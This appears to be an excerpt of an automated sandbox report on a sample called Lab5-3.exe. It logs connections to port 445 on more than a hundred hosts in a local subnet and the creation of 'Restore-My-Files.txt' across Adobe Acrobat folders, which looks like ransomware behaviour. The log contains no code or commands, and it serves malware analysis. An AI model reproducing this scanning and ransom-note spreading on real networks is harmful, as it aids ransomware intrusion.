Source: global traffic	TCP traffic: 192.168.2.111:445
Source: global traffic	TCP traffic: 192.168.2.232:445
Source: global traffic	TCP traffic: 192.168.2.233:445
Source: global traffic	TCP traffic: 192.168.2.112:445
Source: global traffic	TCP traffic: 192.168.2.230:445
Source: global traffic	TCP traffic: 192.168.2.110:445
Source: global traffic	TCP traffic: 192.168.2.231:445
Source: global traffic	TCP traffic: 192.168.2.203:445
Source: global traffic	TCP traffic: 192.168.2.204:445
Source: global traffic	TCP traffic: 192.168.2.201:445
Source: global traffic	TCP traffic: 192.168.2.202:445
Source: global traffic	TCP traffic: 192.168.2.207:445
Source: global traffic	TCP traffic: 192.168.2.208:445
Source: global traffic	TCP traffic: 192.168.2.205:445
Source: global traffic	TCP traffic: 192.168.2.206:445
Source: global traffic	TCP traffic: 192.168.2.200:445
Source: global traffic	TCP traffic: 192.168.2.209:445
Source: global traffic	TCP traffic: 192.168.2.214:445
Source: global traffic	TCP traffic: 192.168.2.215:445
Source: global traffic	TCP traffic: 192.168.2.212:445
Source: global traffic	TCP traffic: 192.168.2.213:445
Source: global traffic	TCP traffic: 192.168.2.218:445
Source: global traffic	TCP traffic: 192.168.2.219:445
Source: global traffic	TCP traffic: 192.168.2.216:445
Source: global traffic	TCP traffic: 192.168.2.217:445
Source: global traffic	TCP traffic: 192.168.2.210:445
Source: global traffic	TCP traffic: 192.168.2.211:445
Source: global traffic	TCP traffic: 192.168.2.39:445
Source: global traffic	TCP traffic: 192.168.2.38:445
Source: global traffic	TCP traffic: 192.168.2.42:445
Source: global traffic	TCP traffic: 192.168.2.41:445
Source: global traffic	TCP traffic: 192.168.2.44:445
Source: global traffic	TCP traffic: 192.168.2.43:445
Source: global traffic	TCP traffic: 192.168.2.46:445
Source: global traffic	TCP traffic: 192.168.2.45:445
Source: global traffic	TCP traffic: 192.168.2.48:445
Source: global traffic	TCP traffic: 192.168.2.47:445
Source: global traffic	TCP traffic: 192.168.2.40:445
Source: global traffic	TCP traffic: 192.168.2.28:445
Source: global traffic	TCP traffic: 192.168.2.27:445
Source: global traffic	TCP traffic: 192.168.2.29:445
Source: global traffic	TCP traffic: 192.168.2.31:445
Source: global traffic	TCP traffic: 192.168.2.30:445
Source: global traffic	TCP traffic: 192.168.2.33:445
Source: global traffic	TCP traffic: 192.168.2.32:445
Source: global traffic	TCP traffic: 192.168.2.35:445
Source: global traffic	TCP traffic: 192.168.2.34:445
Source: global traffic	TCP traffic: 192.168.2.37:445
Source: global traffic	TCP traffic: 192.168.2.36:445
Source: global traffic	TCP traffic: 192.168.2.17:445
Source: global traffic	TCP traffic: 192.168.2.16:445
Source: global traffic	TCP traffic: 192.168.2.19:445
Source: global traffic	TCP traffic: 192.168.2.18:445
Source: global traffic	TCP traffic: 192.168.2.20:445
Source: global traffic	TCP traffic: 192.168.2.22:445
Source: global traffic	TCP traffic: 192.168.2.21:445
Source: global traffic	TCP traffic: 192.168.2.24:445
Source: global traffic	TCP traffic: 192.168.2.23:445
Source: global traffic	TCP traffic: 192.168.2.26:445
Source: global traffic	TCP traffic: 192.168.2.25:445
Source: global traffic	TCP traffic: 192.168.2.11:445
Source: global traffic	TCP traffic: 192.168.2.10:445
Source: global traffic	TCP traffic: 192.168.2.13:445
Source: global traffic	TCP traffic: 192.168.2.12:445
Source: global traffic	TCP traffic: 192.168.2.15:445
Source: global traffic	TCP traffic: 192.168.2.14:445
Source: global traffic	TCP traffic: 192.168.2.0:445
Source: global traffic	TCP traffic: 192.168.2.2:445
Source: global traffic	TCP traffic: 192.168.2.1:445
Source: global traffic	TCP traffic: 192.168.2.180:445
Source: global traffic	TCP traffic: 192.168.2.181:445
Source: global traffic	TCP traffic: 192.168.2.8:445
Source: global traffic	TCP traffic: 192.168.2.7:445
Source: global traffic	TCP traffic: 192.168.2.9:445
Source: global traffic	TCP traffic: 192.168.2.3:445
Source: global traffic	TCP traffic: 192.168.2.6:445
Source: global traffic	TCP traffic: 192.168.2.5:445
Source: global traffic	TCP traffic: 192.168.2.86:445
Source: global traffic	TCP traffic: 192.168.2.85:445
Source: global traffic	TCP traffic: 192.168.2.88:445
Source: global traffic	TCP traffic: 192.168.2.87:445
Source: global traffic	TCP traffic: 192.168.2.89:445
Source: global traffic	TCP traffic: 192.168.2.184:445
Source: global traffic	TCP traffic: 192.168.2.185:445
Source: global traffic	TCP traffic: 192.168.2.182:445
Source: global traffic	TCP traffic: 192.168.2.80:445
Source: global traffic	TCP traffic: 192.168.2.183:445
Source: global traffic	TCP traffic: 192.168.2.188:445
Source: global traffic	TCP traffic: 192.168.2.82:445
Source: global traffic	TCP traffic: 192.168.2.189:445
Source: global traffic	TCP traffic: 192.168.2.81:445
Source: global traffic	TCP traffic: 192.168.2.186:445
Source: global traffic	TCP traffic: 192.168.2.84:445
Source: global traffic	TCP traffic: 192.168.2.187:445
Source: global traffic	TCP traffic: 192.168.2.83:445
Source: global traffic	TCP traffic: 192.168.2.191:445
Source: global traffic	TCP traffic: 192.168.2.192:445
Source: global traffic	TCP traffic: 192.168.2.190:445
Source: global traffic	TCP traffic: 192.168.2.75:445
Source: global traffic	TCP traffic: 192.168.2.74:445
Source: global traffic	TCP traffic: 192.168.2.77:445
Source: global traffic	TCP traffic: 192.168.2.76:445
Source: global traffic	TCP traffic: 192.168.2.79:445
Source: global traffic	TCP traffic: 192.168.2.78:445
Source: global traffic	TCP traffic: 192.168.2.195:445
Source: global traffic	TCP traffic: 192.168.2.196:445
Source: global traffic	TCP traffic: 192.168.2.193:445
Source: global traffic	TCP traffic: 192.168.2.194:445
Source: global traffic	TCP traffic: 192.168.2.199:445
Source: global traffic	TCP traffic: 192.168.2.71:445
Source: global traffic	TCP traffic: 192.168.2.70:445
Source: global traffic	TCP traffic: 192.168.2.197:445
Source: global traffic	TCP traffic: 192.168.2.73:445
Source: global traffic	TCP traffic: 192.168.2.198:445
Source: global traffic	TCP traffic: 192.168.2.72:445
Source: global traffic	TCP traffic: 192.168.2.64:445
Source: global traffic	TCP traffic: 192.168.2.63:445
Source: global traffic	TCP traffic: 192.168.2.168:445
Source: global traffic	TCP traffic: 192.168.2.66:445
Source: global traffic	TCP traffic: 192.168.2.169:445
Source: global traffic	TCP traffic: 192.168.2.65:445
Source: global traffic	TCP traffic: 192.168.2.68:445
Source: global traffic	TCP traffic: 192.168.2.67:445
Source: global traffic	TCP traffic: 192.168.2.69:445
Source: global traffic	TCP traffic: 192.168.2.162:445
Source: global traffic	TCP traffic: 192.168.2.163:445
Source: global traffic	TCP traffic: 192.168.2.160:445
Source: global traffic	TCP traffic: 192.168.2.161:445
Source: global traffic	TCP traffic: 192.168.2.166:445
Source: global traffic	TCP traffic: 192.168.2.60:445
Source: global traffic	TCP traffic: 192.168.2.167:445
Source: global traffic	TCP traffic: 192.168.2.164:445
Source: global traffic	TCP traffic: 192.168.2.62:445
Source: global traffic	TCP traffic: 192.168.2.165:445
Source: global traffic	TCP traffic: 192.168.2.61:445
Source: global traffic	TCP traffic: 192.168.2.170:445
Source: global traffic	TCP traffic: 192.168.2.49:445
Source: global traffic	TCP traffic: 192.168.2.53:445
Source: global traffic	TCP traffic: 192.168.2.52:445
Source: global traffic	TCP traffic: 192.168.2.179:445
Source: global traffic	TCP traffic: 192.168.2.55:445
Source: global traffic	TCP traffic: 192.168.2.54:445
Source: global traffic	TCP traffic: 192.168.2.57:445
Source: global traffic	TCP traffic: 192.168.2.56:445
Source: global traffic	TCP traffic: 192.168.2.59:445
Source: global traffic	TCP traffic: 192.168.2.58:445
Source: global traffic	TCP traffic: 192.168.2.173:445
Source: global traffic	TCP traffic: 192.168.2.174:445
Source: global traffic	TCP traffic: 192.168.2.171:445
Source: global traffic	TCP traffic: 192.168.2.172:445
Source: global traffic	TCP traffic: 192.168.2.177:445
Source: global traffic	TCP traffic: 192.168.2.178:445
Source: global traffic	TCP traffic: 192.168.2.175:445
Source: global traffic	TCP traffic: 192.168.2.51:445
Source: global traffic	TCP traffic: 192.168.2.176:445
Source: global traffic	TCP traffic: 192.168.2.50:445

Source: Lab5-3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-sl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\home\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\mip\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer\css\Restore-My-Files.txt	Jump to behavior
